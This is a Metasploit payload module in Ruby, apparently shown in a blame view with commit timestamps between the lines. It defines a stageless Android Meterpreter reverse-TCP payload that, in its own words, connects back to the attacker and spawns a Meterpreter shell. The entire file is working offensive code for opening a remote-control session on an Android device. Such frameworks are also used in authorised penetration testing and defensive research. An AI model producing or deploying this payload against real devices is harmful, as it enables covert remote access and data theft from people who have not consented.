2016-09-08 16:31:38 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
2016-09-28 06:50:52 +00:00
|
|
|
require 'msf/core/payload/android'
|
2016-09-08 16:31:38 +00:00
|
|
|
require 'msf/core/payload/transport_config'
|
2016-10-04 08:40:04 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
2016-09-08 16:31:38 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_android'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
require 'rex/payloads/meterpreter/config'
|
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
|
|
|
CachedSize = :dynamic
|
|
|
|
|
|
|
|
include Msf::Payload::TransportConfig
|
|
|
|
include Msf::Payload::Single
|
2016-09-28 06:50:52 +00:00
|
|
|
include Msf::Payload::Android
|
2016-09-08 16:31:38 +00:00
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Android Meterpreter Shell, Reverse TCP Inline',
|
|
|
|
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
|
|
|
'Platform' => 'android',
|
|
|
|
'Arch' => ARCH_DALVIK,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
|
|
|
'Payload' => '',
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate the transport-specific configuration
|
|
|
|
#
|
|
|
|
def transport_config(opts={})
|
|
|
|
transport_config_reverse_tcp(opts)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_jar(opts={})
|
|
|
|
opts[:stageless] = true
|
2016-09-28 10:13:20 +00:00
|
|
|
super(opts)
|
2016-09-08 16:31:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|